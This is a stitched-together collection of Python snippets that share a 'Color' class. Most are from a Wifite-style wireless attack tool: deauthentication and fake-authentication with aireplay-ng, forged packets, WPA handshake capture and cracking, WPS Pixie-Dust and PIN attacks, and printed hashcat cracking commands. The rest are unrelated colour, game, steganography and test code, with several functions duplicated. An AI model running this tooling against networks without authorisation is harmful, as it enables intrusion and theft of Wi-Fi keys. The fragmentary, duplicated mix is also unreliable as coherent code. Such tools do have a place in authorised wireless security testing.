def save_handshake(self, handshake):
'''
Saves a copy of the handshake file to hs/
Args:
handshake - Instance of Handshake containing bssid, essid, capfile
'''
# Create handshake dir
if not os.path.exists(Configuration.wpa_handshake_dir):
os.mkdir(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date
essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
bssid_safe = handshake.bssid.replace(':', '-')
date = time.strftime('%Y-%m-%dT%H-%M-%S')
cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe,
date)
cap_filename = os.path.join(Configuration.wpa_handshake_dir,
cap_filename)
Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' %
cap_filename)
copy(handshake.capfile, cap_filename)
Color.pl('{G}saved{W}')
# Update handshake to use the stored handshake file for future operations
handshake.capfile = cap_filename
def fake_auth(self):
'''
Attempts to fake-authenticate with target.
Returns: True if successful,
False is unsuccesful.
'''
Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid)
fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait)
if fakeauth:
Color.pl(' {G}success{W}')
else:
Color.pl(' {R}failed{W}')
if Configuration.require_fakeauth:
# Fakeauth is requried, fail
raise Exception(
'Fake-authenticate did not complete within' +
' %d seconds' % AttackWEP.fakeauth_wait)
else:
# Warn that fakeauth failed
Color.pl('{!} {O}' +
'unable to fake-authenticate with target' +
' (%s){W}' % self.target.bssid)
Color.pl('{!} continuing attacks because' +
' {G}--require-fakeauth{W} was not set')
return fakeauth
def deauth(self, target_bssid, station_bssid=None):
'''
Sends deauthentication request.
Args:
target_bssid - AP BSSID to deauth
station_bssid - Client BSSID to deauth
Deauths 'broadcast' if no client is specified.
'''
# TODO: Print that we are deauthing and who we are deauthing!
target_name = station_bssid
if target_name == None:
target_name = 'broadcast'
command = [
'aireplay-ng',
'-0', # Deauthentication
'1', # Number of deauths to perform.
'-a',
self.target.bssid
]
command.append('--ignore-negative-one')
if station_bssid:
# Deauthing a specific client
command.extend(['-c', station_bssid])
command.append(Configuration.interface)
Color.p(' {C}sending deauth{W} to {C}%s{W}' % target_name)
return Process(command)
def forge_packet(xor_file, bssid, station_mac):
''' Forges packet from .xor file '''
forged_file = 'forged.cap'
cmd = [
'packetforge-ng',
'-0',
'-a',
bssid, # Target MAC
'-h',
station_mac, # Client MAC
'-k',
'192.168.1.2', # Dest IP
'-l',
'192.168.1.100', # Source IP
'-y',
xor_file, # Read PRNG from .xor file
'-w',
forged_file, # Write to
Configuration.interface
]
cmd = '"%s"' % '" "'.join(cmd)
(out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
if out.strip() == 'Wrote packet to: %s' % forged_file:
return forged_file
else:
from Color import Color
Color.pl('{!} {R}failed to forge packet from .xor file{W}')
Color.pl('output:\n"%s"' % out)
return None
def test_should_correct_minimum_average(self):
# given
color_low_average = Color(rgb=(20, 20, 20))
# when
color_low_average.correct_minimum_average(60)
# then
self.assertGreaterEqual(color_low_average.sum(), 60)
class Colors(object):
#This is a class that holds a list of colors.
#To make a new color, name the color and type...
#yellow=Color(255,255,0,255);
"""
YOU:
Define any colors you want here and get their values by calling
Ex)Colors.red.getColor();
"""
red=Color(255,0,0,255);
green=Color(0,255,0,255);
blue=Color(0,0,255,255);
white=Color(255,255,255,255);
black=Color(0,0,0,255);
def __init__(self):
pass;
def getRandomColor(self):
"""
Get a randomly generated color.
"""
return ColorUtilities.randomColor();
def fake_auth(self):
'''
Attempts to fake-authenticate with target.
Returns: True if successful,
False is unsuccesful.
'''
Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' %
self.target.bssid)
fakeauth = Aireplay.fakeauth(self.target,
timeout=AttackWEP.fakeauth_wait)
if fakeauth:
Color.pl(' {G}success{W}')
else:
Color.pl(' {R}failed{W}')
if Configuration.require_fakeauth:
# Fakeauth is requried, fail
raise Exception('Fake-authenticate did not complete within' +
' %d seconds' % AttackWEP.fakeauth_wait)
else:
# Warn that fakeauth failed
Color.pl('{!} {O}' +
'unable to fake-authenticate with target' +
' (%s){W}' % self.target.bssid)
Color.pl('{!} continuing attacks because' +
' {G}--require-fakeauth{W} was not set')
return fakeauth
def print_targets(self):
'''
Prints targets to console
'''
if len(self.targets) == 0:
Color.p('\r')
return
if self.previous_target_count > 0:
# We need to "overwrite" the previous list of targets.
if Configuration.verbose <= 1:
# Don't clear screen buffer in verbose mode.
if self.previous_target_count > len(self.targets) or \
Scanner.get_terminal_height() < self.previous_target_count + 3:
# Either:
# 1) We have less targets than before, so we can't overwrite the previous list
# 2) The terminal can't display the targets without scrolling.
# Clear the screen.
from Process import Process
Process.call('clear')
else:
# We can fit the targets in the terminal without scrolling
# "Move" cursor up so we will print over the previous list
Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count))
self.previous_target_count = len(self.targets)
# Overwrite the current line
Color.p('\r')
Target.print_header()
for (index, target) in enumerate(self.targets):
index += 1
Color.clear_entire_line()
Color.pl(' {G}%s %s' % (str(index).rjust(3), target))
def run(self):
'''
Initiates full WPA hanshake capture attack.
'''
# Check if user only wants to run PixieDust attack
if Configuration.wps_only and self.target.wps:
Color.pl('\r{!} {O}--wps-only{R} set, ignoring WPA-handshake attack on {O}%s{W}' % self.target.essid)
self.success = False
return self.success
handshake = None
# Capture the handshake ("do it live!")
if handshake is None:
handshake = self.capture_handshake()
if handshake is None:
# Failed to capture handshake
self.success = False
return self.success
# Analyze handshake
Color.pl('\n{+} analysis of captured handshake file:')
handshake.analyze()
# Crack it
key = self.crack_handshake(handshake, Configuration.wordlist)
if key is None:
self.success = False
else:
self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key)
self.crack_result.dump()
self.success = True
return self.success
def initialize(app, params):
# Set GPIO pins for R, G, B wires
params["PIN_R"] = 17
params["PIN_G"] = 22
params["PIN_B"] = 24
# Create Actions
actionWhite = app.addAction(ActionColor(params))
actionBlue = app.addAction(ActionColor(params, Color(0, 0, 255)))
actionStrobe = app.addAction(ActionStrobe(params))
actionStrobeMute = app.addAction(ActionStrobeMute(params))
actionMute = app.addAction(ActionMute(params))
actionChaos = app.addAction(ActionChaos(params))
# Bind Inputs to Actions
app.addInput(actionMute, "hold", 45, "On")
app.addInput(actionChaos, "hold", 44, "Intensity")
app.addInput(actionWhite, "hold", 46, "Intensity")
app.addInput(actionStrobeMute, "hold", 47, "On")
app.addInput(actionBlue, "knob", 3, "Intensity")
app.addInput(actionStrobe, "knob", 7, "Intensity")
app.addInput(actionStrobe, "knob", 8, "Speed")
app.addInput(actionStrobeMute, "knob", 10, "Speed")
# Use ActionBuilder (optional)
ActionBuilder.buildKeys(app, 48, 72, Color.red(), Color.blue())
def check_win_condition(self):
blue_territories = self.board.find_territories_with_color(Color.Blue)
red_territories = self.board.find_territories_with_color(Color.Red)
if not blue_territories:
self.winner = Color.to_str(Color.Red)
if not red_territories:
self.winner = Color.to_str(Color.Blue)
def setPixelAlphasFromIntsRandom(image, ints):
"""
Encrypt the message into the image's alpha values starting in a random order.
"""
cleanImage(image)
pixelData = list(image.getdata())
length = len(ints)
rand = int(len(pixelData) / length)
position = 0
randomPosition = []
for i in range(length):
value = random.randint(position, (rand - 1) + position)
randomPosition.append(value)
position += value - position
for x in range(len(ints)):
r = 0
g = 0
b = 0
a = 0
try:
r, g, b, a = pixelData[randomPosition[x]]
except:
r, g, b = pixelData[randomPosition[x]]
a = 255
color = Color(r, g, b, a)
color.alpha = ints[x]
pixelData[randomPosition[x]] = color.getColor()
image.putdata(pixelData)
def __init__(self, n):
self.n = n
self.size = Hexagon.size
self.width = self.size
self.height = self.size * 3 // 4
# 正六角形の左下の頂点から反時計回りに座標を取得する際のオフセット
self.vertexes_offset = [[0, 0], [self.width // 3, 0],
[self.width * 2 // 3, -self.height // 2],
[self.width // 3, -self.height],
[0, -self.height],
[-self.width // 3, -self.height // 2]]
self.hexagons = []
self.rank = []
self.coordinate_offset = [[1, 1], [1, 0], [0, -1], [-1, -1], [-1, 0],
[0, 1]]
self.vertex_index = {}
colors = Color(n)
k = self.n - 1
l = 0
ct = 0
for i in range(2 * n - 1): # x成分
if i < n:
k += 1
else:
l += 1
for j in range(l, k): # y成分
if i == 0 or i == 2 * n - 2 or j == 0 or j == 2 * n - 2 or j == l or j == k - 1:
self.hexagons.append(Hexagon(i, j, Color.WALL_COLOR, True))
else:
self.hexagons.append(
Hexagon(i, j, colors.get_color(), False))
self.vertex_index[(i, j)] = ct
ct += 1
def select_targets(self):
''' Asks user to select target(s) '''
if len(self.targets) == 0:
# TODO Print a more-helpful reason for failure.
# 1. Link to wireless drivers wiki,
# 2. How to check if your device supporst monitor mode,
# 3. Provide airodump-ng command being executed.
raise Exception("No targets found."
+ " You may need to wait longer,"
+ " or you may have issues with your wifi card")
self.print_targets()
Color.clear_entire_line()
input_str = '{+} select target(s)'
input_str += ' ({G}1-%d{W})' % len(self.targets)
input_str += ' separated by commas, dashes'
input_str += ' or {G}all{W}: '
chosen_targets = []
for choice in raw_input(Color.s(input_str)).split(','):
if choice == 'all':
chosen_targets = self.targets
break
if '-' in choice:
# User selected a range
(lower,upper) = [int(x) - 1 for x in choice.split('-')]
for i in xrange(lower, min(len(self.targets), upper)):
chosen_targets.append(self.targets[i])
elif choice.isdigit():
choice = int(choice) - 1
chosen_targets.append(self.targets[choice])
else:
pass
return chosen_targets
def __init__(self, fileName):
f = open(fileName, 'r')
x = f.readline().strip()
if ('P3' != x):
print('Exception')
x = f.readline().strip()
dimensions = x.split(' ')
self.collumns = int(dimensions[0])
self.rows = int(dimensions[1])
self.colorSize = int(f.readline().strip())
print self.collumns
print self.rows
print self.colorSize
print ""
self.data = [[Color()] * self.collumns] * self.rows
self.data = np.array(self.data)
print np.shape(self.data)
for i in range(self.rows):
x = f.readline().strip().split(' ')
for j in range(self.collumns):
self.data[i][j] = Color(int(x[j * 3]), int(x[j * 3 + 1]),
int(x[j * 3 + 2]))
def files_with_definitions_dependencies(self, path):
file_names = FilesDependencies.find_files_in_directory(self, path)
names = []
sizes = []
graph = Digraph('filesMethodsDefinitionsGraph', strict=True, format='pdf', filename='filesMethodsDefinitionsGraph',
node_attr={'color': 'khaki', 'style': 'filled', 'shape': 'doublecircle'})
graph.attr(size='50', labelloc='b', label='Version: \n' + HashCommit.get_commit_hash(path))
color = Color()
for i in file_names:
tmp = i.split(" ")
names.append(tmp[0])
sizes.append(tmp[1])
for file, size in zip(names, sizes):
same_function_dependencies = FilesWithDefinitionsDependencies.methods_in_file(self, path, file)
graph.node(file, **{'width': str(float(size) / 15000), 'height': str(float(size) / 15000),
'color': color.__str__()})
for i in same_function_dependencies[file]:
graph.edge(i, file)
color.h += 0.05
try:
graph.view(tempfile.mktemp('.filesMethodsDefinitionsGraph'))
except Exception:
from gui.Window import Window
Window.show_error(Window)
def stderr(self):
''' Waits for process to finish, returns stderr output '''
self.get_output()
if Configuration.verbose > 1 and self.err.strip() != '':
Color.pe("{P} [stderr] %s{W}" %
'\n [stderr] '.join(self.err.split('\n')))
return self.err
def dump(self):
if self.essid:
Color.pl('{+} %s: {C}%s{W}' % ( 'ESSID'.rjust(12), self.essid))
Color.pl('{+} %s: {C}%s{W}' % ( 'BSSID'.rjust(12), self.bssid))
Color.pl('{+} %s: {C}WPA{W} ({C}WPS{W})' % 'Encryption'.rjust(12))
Color.pl('{+} %s: {G}%s{W}' % ( 'WPS PIN'.rjust(12), self.pin))
Color.pl('{+} %s: {G}%s{W}' % ('PSK/Password'.rjust(12), self.psk))
def __init__(self, master, *ap, **an):
"""Инициализация с параметрами по умолчанию:
круглая кисть;
случайная палитра;
константная функция масштаба;
8 симметричных отображений"""
Canvas.__init__(self, master, *ap, **an)
self.fig_size = START_FIGURE_SIZE
self.fig_type = 'circle'
# None в color_pick означает, что будет выбираться автоматически
self.color_pick = None
# стартовый цвет
self.color = Color()
# привязки функций-обработчиков
self.binding_functions()
# загрузка палитры
self.color.define_palette(-1)
# выбор функции масштаба
self.set_scale_function("constant")
# число симметричных отображений
self.num_symm = 16
# история - список из HistoryRecord
self.history = []
# время (каждый клик мышкой увеличивает время на 1)
self.time = 0
self.recalculate_coefficients()
def run(self):
''' Run all WPS-related attacks '''
# Drop out if user specified to not use Reaver
if Configuration.no_reaver:
self.success = False
return self.success
# Run Pixie-Dust attack
if self.is_pixiedust_supported():
if self.run_pixiedust_attack():
# Pixie-Dust attack succeeded. We're done.
self.success = True
return self.success
else:
Color.pl(
'{!} {R}your version of "reaver" does not' +
' support the {O}WPS pixie-dust attack{W}')
if Configuration.pixie_only:
Color.pl('{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
self.success = False
else:
# Run WPS-PIN attack
self.success = self.run_wps_pin_attack()
return self.success
def __init__(self):
self.baseColor = Color((1, 1, 1)) #white
self.otherColor = Color((0, 0, 0)) #black
self.ambientComp = 1.0
self.diffusComp = 0.6
self.specularComp = 0.4
self.checkSize = 2.5
def found_target(self):
'''
Check if we discovered the target AP
Returns: the Target if found,
Otherwise None.
'''
bssid = Configuration.target_bssid
essid = Configuration.target_essid
if bssid == None and essid == None:
return False
for target in self.targets:
if bssid and bssid.lower() == target.bssid.lower():
self.target = target
break
if essid and essid.lower() == target.essid.lower():
self.target = target
break
if self.target:
Color.pl('\n{+} {C}found target{G} %s {W}({G}%s{W})'
% (self.target.bssid, self.target.essid))
return True
return False
class TestColor(unittest.TestCase):
"""Palette is used in color"""
def setUp(self):
self.color = Color()
def test_color(self):
self.assertEqual(self.color.code, "#969696")
self.assertEqual(self.color.color_dif, 30)
def test_color_decode(self):
self.color.code = "#000000"
self.color.decode()
self.assertEqual([self.color.red, self.color.green, self.color.blue],
[0, 0, 0])
def test_color_next(self):
self.assertEqual(next(self.color), "#969696")
self.assertEqual(len(next(self.color)), 7)
def test_color_mut(self):
self.color.random_color = -2
next(self.color)
for i in range(10):
self.assertLess(self.color.red, 181)
self.assertLess(self.color.green, 181)
self.assertLess(self.color.blue, 181)
self.assertGreater(self.color.red, 119)
self.assertGreater(self.color.green, 119)
self.assertGreater(self.color.blue, 119)
def test_define_palette(self):
self.color.define_palette(1)
self.assertEqual(next(self.color.palette), "#000040")
self.assertEqual(next(self.color.palette), "#00003D")
def run(self):
''' Run all WPS-related attacks '''
# Drop out if user specified to not use Reaver
if Configuration.no_reaver:
self.success = False
return self.success
# Run Pixie-Dust attack
if self.is_pixiedust_supported():
if self.run_pixiedust_attack():
# Pixie-Dust attack succeeded. We're done.
self.success = True
return self.success
else:
Color.pl(
"{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}"
)
if Configuration.pixie_only:
Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
self.success = False
else:
# Run WPS-PIN attack
self.success = self.run_wps_pin_attack()
return self.success
def found_target(self):
'''
Check if we discovered the target AP
Returns: the Target if found,
Otherwise None.
'''
bssid = Configuration.target_bssid
essid = Configuration.target_essid
if bssid == None and essid == None:
return False
for target in self.targets:
if bssid and bssid.lower() == target.bssid.lower():
self.target = target
break
if essid and essid.lower() == target.essid.lower():
self.target = target
break
if self.target:
Color.pl('\n{+} {C}found target{G} %s {W}({G}%s{W})'
% (self.target.bssid, self.target.essid))
return True
return False
def __init__(self,
command,
devnull=False,
stdout=PIPE,
stderr=PIPE,
cwd=None,
bufsize=0):
''' Starts executing command '''
if type(command) is str:
# Commands have to be a list
command = command.split(' ')
self.command = command
if Configuration.verbose > 1:
Color.pe("\n {C}[?] {W} Executing: {B}%s{W}" % ' '.join(command))
self.out = None
self.err = None
if devnull:
sout = Process.devnull()
serr = Process.devnull()
else:
sout = stdout
serr = stderr
self.start_time = time.time()
self.pid = Popen(command,
stdout=sout,
stderr=serr,
cwd=cwd,
bufsize=bufsize)
def __init__(self, lado, color):
#Ya no puedo usar super porque los padres
#tienen distinta prioridad pero siempre figura sera donde busque
Figura.__init__(
self, lado, lado
) #Debo pasar self porque desde la clase padre toco una referencia que es de un hijo
Color.__init__(self, color)
def crack_handshake(self, handshake):
cap_file = os.path.realpath(handshake["handshake_file"])
Color.pl("{+} Different ways to crack {C}%s{W}:" % cap_file)
self.print_aircrack(cap_file)
self.print_pyrit(cap_file)
self.print_john(cap_file)
self.print_oclhashcat(cap_file)
Color.pl("")
def crack_handshake(self, handshake):
cap_file = os.path.realpath(handshake["handshake_file"])
Color.pl("{+} Different ways to crack {C}%s{W}:" % cap_file)
self.print_aircrack(cap_file)
self.print_pyrit(cap_file)
self.print_john(cap_file)
self.print_oclhashcat(cap_file)
Color.pl("")
def dump(self):
if self.essid:
Color.pl('{+} ESSID: {C}%s{W}' % self.essid)
Color.pl('{+} BSSID: {C}%s{W}' % self.bssid)
Color.pl('{+} Encryption: {C}%s{W}' % self.result_type)
Color.pl('{+} Hex Key: {G}%s{W}' % self.hex_key)
if self.ascii_key:
Color.pl('{+} Ascii Key: {G}%s{W}' % self.ascii_key)
def dump(self):
if self.essid:
Color.pl('{+} ESSID: {C}%s{W}' % self.essid)
Color.pl('{+} BSSID: {C}%s{W}' % self.bssid)
Color.pl('{+} Encryption: {C}%s{W}' % self.result_type)
Color.pl('{+} Hex Key: {G}%s{W}' % self.hex_key)
if self.ascii_key:
Color.pl('{+} Ascii Key: {G}%s{W}' % self.ascii_key)
def colorEvolution(img1, contour1, img2, contour2):
'''
returns the evolution of color
'''
nbColors1 = Color.colorHSVIntervals(img1, contour1)
nbColors2 = Color.colorHSVIntervals(img2, contour2)
evolutionC = abs(nbColors1 - nbColors2)
return evolutionC
def create_timed(self, blueprint):
""" Create a Target that disappears after some time. """
attr = blueprint.attributes
# WHEN SHOT AT
# ===================================================================
actions = [
self.actions[AC.REWARD], self.actions[AC.SPAWN],
self.actions[AC.DESPAWN_GOOD]
]
blueprint.events[TR.SHOT_AT] = actions[:]
# WHEN TIMED OUT
# ===================================================================
actions = [
self.actions[AC.SPAWN], self.actions[AC.PENALTY],
self.actions[AC.DESPAWN_BAD]
]
blueprint.events[TR.TIME_EXPIRED] = actions[:]
# COLOR
# ===================================================================
attr[AT.COLORS] = {
'frame': Color(rgb=Color.WHITE),
'bg': Color(rgb=Color.BLACK),
'text': random_text_color()
}
# INTERACTIONS
# ===================================================================
attr[AT.VALUE_STRATEGY] = ValueStrategy.RANDOM_BY_STRENGTH
vc = ValueChanger()
vc.strategy = RewardStrategy.TIME_LEFT
strength = int(attr[AT.STRENGTH])
vc.stiff_value = max(1, 20 * (strength - 3) * (1 + strength / 10))
vc.base_value = 20 + strength * 10
vc.base_multiplier = 1
attr[AT.REWARD] = vc
vc = ValueChanger()
vc.strategy = PenaltyStrategy.HARD_SET
vc.stiff_value = strength * strength * -1
vc.base_value = strength * -5
vc.base_multiplier = 1
attr[AT.PENALTY] = vc
attr[AT.TIME_TO_EXPIRE] = (strength + 1) * 1500
# SPAWN
# ===================================================================
spawn_blueprint = TargetBlueprint()
spawn_attr = spawn_blueprint.attributes
spawn_attr[AT.TARGET_TYPE] = TargetType.TIMED
spawn_attr[AT.STRENGTH] = min(attr[AT.STRENGTH] + STRENGTH_INCREASE, 9)
spawn_attr[AT.POSITION] = attr[AT.POSITION]
attr[AT.SPAWN_BLUEPRINT] = spawn_blueprint
return blueprint
def assert_greater(self, case1, case2, message):
if case1 > case2:
return True
else:
Color.print_red_text("%s::::Assert %s is greater than %s.\n" %
(message, str(case1), str(case2)))
self.success = False
print_trace_back()
return False
def assert_not_equal(self, case1, case2, message):
if not case1 == case2:
return True
else:
Color.print_red_text("%s::::Assert %s isn't equal to %s.\n" %
(message, str(case1), str(case2)))
self.success = False
print_trace_back()
return False
def print_oclhashcat(self, cap_file):
if not Process.exists("hashcat"): return
Color.pl("\n {O}# OCLHASHCAT: GPU-based cracking. Fast.")
hccapx_file = "generated.hccapx"
if Process.exists("cap2hccapx"):
Color.pl(" {G}cap2hccapx {C}%s %s{W}" % (cap_file, hccapx_file))
else:
Color.pl(" {O}# Visit https://hashcat.net/cap2hccapx to generate a .hccapx file{W}")
Color.pl(" {O}# Browse -> %s -> Convert" % cap_file)
Color.pl(" {G}hashcat {W}-m 2500 {C}%s %s{W}" % (hccapx_file, self.wordlist))
def start(iface):
'''
Starts an interface (iface) in monitor mode
Args:
iface - The interface to start in monitor mode
Either an instance of Interface object,
or the name of the interface (string).
Returns:
Name of the interface put into monitor mode.
Throws:
Exception - If an interface can't be put into monitor mode
'''
# Get interface name from input
if type(iface) == Interface:
iface = iface.name
Airmon.base_interface = iface
# Call airmon-ng
Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface)
(out,err) = Process.call('airmon-ng start %s' % iface)
# Find the interface put into monitor mode (if any)
mon_iface = None
for line in out.split('\n'):
if 'monitor mode' in line and 'enabled' in line and ' on ' in line:
mon_iface = line.split(' on ')[1]
if ']' in mon_iface:
mon_iface = mon_iface.split(']')[1]
if ')' in mon_iface:
mon_iface = mon_iface.split(')')[0]
break
if mon_iface == None:
# Airmon did not enable monitor mode on an interface
Color.pl("{R}failed{W}")
mon_ifaces = Airmon.get_interfaces_in_monitor_mode()
# Assert that there is an interface in monitor mode
if len(mon_ifaces) == 0:
Color.pl("{R}failed{W}")
raise Exception("iwconfig does not see any interfaces in Mode:Monitor")
# Assert that the interface enabled by airmon-ng is in monitor mode
if mon_iface not in mon_ifaces:
Color.pl("{R}failed{W}")
raise Exception("iwconfig does not see %s in Mode:Monitor" % mon_iface)
# No errors found; the device 'mon_iface' was put into MM.
Color.pl("{G}enabled {C}%s{W}" % mon_iface)
Configuration.interface = mon_iface
return mon_iface
def save(self):
''' Adds this crack result to the cracked file and saves it. '''
name = CrackResult.cracked_file
json = []
if os.path.exists(name):
f = open(name, 'r')
text = f.read()
f.close()
try:
json = loads(text)
except Exception, e:
Color.pl('{!} error while loading %s: %s' % (name, str(e)))
def print_pairs(pairs, capfile, tool=None):
'''
Prints out BSSID and/or ESSID given a list of tuples (bssid,essid)
'''
tool_str = ''
if tool:
tool_str = '{C}%s{W}: ' % tool.rjust(8)
if len(pairs) == 0:
Color.pl("{!} %s.cap file {R}does not{O} contain a valid handshake{W}"
% (tool_str))
return
for (bssid, essid) in pairs:
if bssid and essid:
Color.pl('{+} %s.cap file' % tool_str +
' {G}contains a valid handshake{W}' +
' for {G}%s{W} ({G}%s{W})' % (bssid, essid))
elif bssid:
Color.pl('{+} %s.cap file' % tool_str +
' {G}contains a valid handshake{W}' +
' for {G}%s{W}' % bssid)
elif essid:
Color.pl('{+} %s.cap file' % tool_str +
' {G}contains a valid handshake{W}' +
' for ({G}%s{W})' % essid)
def __str__(self):
''' Colored string representation of interface '''
s = Color.s("{W}%s" % self.phy)
s += ' ' * max(Interface.PHY_LEN - len(self.phy), 0)
s += Color.s("{G}%s" % self.name)
s += ' ' * max(Interface.NAME_LEN - len(self.name), 0)
s += Color.s("{C}%s" % self.driver)
s += ' ' * max(Interface.DRIVER_LEN - len(self.driver), 0)
s += Color.s("{W}%s" % self.chipset)
s += ' ' * max(Interface.CHIPSET_LEN - len(self.chipset), 0)
return s
def save_handshake(self, handshake):
'''
Saves a copy of the handshake file to hs/
Args:
handshake - Instance of Handshake containing bssid, essid, capfile
'''
# Create handshake dir
if not os.path.exists(Configuration.wpa_handshake_dir):
os.mkdir(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date
essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
bssid_safe = handshake.bssid.replace(':', '-')
date = time.strftime('%Y-%m-%dT%H-%M-%S')
cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)
cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename)
if Configuration.wpa_strip_handshake:
Color.p("{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}..." % cap_filename)
handshake.strip(outfile=cap_filename)
Color.pl('{G}saved{W}')
else:
Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename)
copy(handshake.capfile, cap_filename)
Color.pl('{G}saved{W}')
# Update handshake to use the stored handshake file for future operations
handshake.capfile = cap_filename
def call(command, cwd=None,shell=False):
'''
Calls a command (either string or list of args).
Returns tuple:
(stdout, stderr)
'''
if type(command) != str or ' ' in command or shell:
shell = True
if Configuration.verbose > 1:
Color.pe("\n {C}[?] {W} Executing (Shell): {B}%s{W}" % command)
else:
shell = False
if Configuration.verbose > 1:
Color.pe("\n {C}[?]{W} Executing: {B}%s{W}" % command)
pid = Popen(command, cwd=cwd, stdout=PIPE, stderr=PIPE, shell=shell)
pid.wait()
(stdout, stderr) = pid.communicate()
if Configuration.verbose > 1 and stdout.strip() != '':
Color.pe("{P} [stdout] %s{W}" % '\n [stdout] '.join(stdout.split('\n')))
if Configuration.verbose > 1 and stderr.strip() != '':
Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(stderr.split('\n')))
return (stdout, stderr)
def print_targets(self):
'''
Prints targets to console
'''
if len(self.targets) == 0:
Color.p('\r')
return
if self.previous_target_count > 0:
# We need to "overwrite" the previous list of targets.
if self.previous_target_count > len(self.targets) or \
Scanner.get_terminal_height() < self.previous_target_count + 3:
# Either:
# 1) We have less targets than before, so we can't overwrite the previous list
# 2) The terminal can't display the targets without scrolling.
# Clear the screen.
from Process import Process
Process.call('clear')
else:
# We can fit the targets in the terminal without scrolling
# "Move" cursor up so we will print over the previous list
Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count))
self.previous_target_count = len(self.targets)
# Overwrite the current line
Color.p('\r')
Target.print_header()
for (index, target) in enumerate(self.targets):
index += 1
Color.pl(' {G}%s %s' % (str(index).rjust(3), target))
def select_targets(self):
''' Asks user to select target(s) '''
if len(self.targets) == 0:
# TODO Print a more-helpful reason for failure.
# 1. Link to wireless drivers wiki,
# 2. How to check if your device supporst monitor mode,
# 3. Provide airodump-ng command being executed.
raise Exception("No targets found."
+ " You may need to wait longer,"
+ " or you may have issues with your wifi card")
self.print_targets()
input_str = '{+} select target(s)'
input_str += ' ({G}1-%d{W})' % len(self.targets)
input_str += ' separated by commas, dashes'
input_str += ' or {G}all{W}: '
chosen_targets = []
for choice in raw_input(Color.s(input_str)).split(','):
if choice == 'all':
chosen_targets = self.targets
break
if '-' in choice:
# User selected a range
(lower,upper) = [int(x) - 1 for x in choice.split('-')]
for i in xrange(lower, upper):
chosen_targets.append(self.targets[i])
else:
choice = int(choice) - 1
chosen_targets.append(self.targets[choice])
return chosen_targets
def user_wants_to_continue(self, attack_index):
''' Asks user if attacks should continue using remaining methods '''
Color.pl('\n{!} {O}interrupted{W}\n')
if attack_index + 1 >= len(Configuration.wep_attacks):
# No more WEP attacks to perform.
return False
attacks_remaining = Configuration.wep_attacks[attack_index + 1:]
Color.pl("{+} {G}%d{W} attacks remain ({C}%s{W})" % (len(attacks_remaining), ', '.join(attacks_remaining)))
prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' +
' or {R}s{W} to {R}stop{W}: ')
if raw_input(prompt).lower().startswith('s'):
return False
else:
return True
def dump():
''' (Colorful) string representation of the configuration '''
from Color import Color
max_len = 20
for key in Configuration.__dict__.keys():
max_len = max(max_len, len(key))
result = Color.s('{W}%s Value{W}\n' % 'Configuration Key'.ljust(max_len))
result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len))
for (key,val) in sorted(Configuration.__dict__.iteritems()):
if key.startswith('__'): continue
if type(val) == staticmethod: continue
if val == None: continue
result += Color.s("{G}%s {W} {C}%s{W}\n" % (key.ljust(max_len),val))
return result
def deauth(self, target_bssid, station_bssid=None):
"""
Sends deauthentication request.
Args:
target_bssid - AP BSSID to deauth
station_bssid - Client BSSID to deauth
Deauths 'broadcast' if no client is specified.
"""
# TODO: Print that we are deauthing and who we are deauthing!
target_name = station_bssid
if target_name == None:
target_name = "broadcast"
command = ["aireplay-ng", "--ignore-negative-one", "-0", "-a", self.target.bssid] # Deauthentication
if station_bssid:
# Deauthing a specific client
command.extend(["-h", station_bssid])
command.append(Configuration.interface)
Color.p(" {C}sending deauth{W} to {C}%s{W}" % target_name)
return Process(command)
def deauth(self, target):
'''
Sends deauthentication request to broadcast and every client of target.
Args:
target - The Target to deauth, including clients.
'''
if Configuration.no_deauth: return
for index, client in enumerate([None] + self.clients):
if client is None:
target_name = "*broadcast*"
else:
target_name = client
Color.clear_entire_line()
Color.pattack("WPA",
target,
"Handshake capture",
"Deauthing {O}%s{W}" % target_name)
Aireplay.deauth(target.bssid, client_mac=client, timeout=2)
def fake_auth(self):
'''
Attempts to fake-authenticate with target.
Returns: True if successful,
False is unsuccesful.
'''
Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...'
% self.target.bssid)
start_time = time.time()
aireplay = Aireplay(self.target, 'fakeauth')
process_failed = False
while aireplay.is_running():
if int(time.time() - start_time) > AttackWEP.fakeauth_wait:
aireplay.stop()
process_failed = True
break
time.sleep(0.1)
# Check if fake-auth was successful
if process_failed:
fakeauth = False
else:
output = aireplay.get_output()
fakeauth = 'association successful' in output.lower()
if fakeauth:
Color.pl(' {G}success{W}')
else:
Color.pl(' {R}failed{W}')
if Configuration.require_fakeauth:
# Fakeauth is requried, fail
raise Exception(
'Fake-authenticate did not complete within' +
' %d seconds' % AttackWEP.fakeauth_wait)
else:
# Warn that fakeauth failed
Color.pl('{!} {O}' +
'unable to fake-authenticate with target' +
' (%s){W}' % self.target.bssid)
Color.pl('{!} continuing attacks because' +
' {G}--require-fakeauth{W} was not set')
return fakeauth
def __init__(self):
'''
Starts scan, prints as it goes.
Upon interrupt, sets 'targets'.
'''
self.previous_target_count = 0
self.targets = []
self.target = None # Specific target (based on ESSID/BSSID)
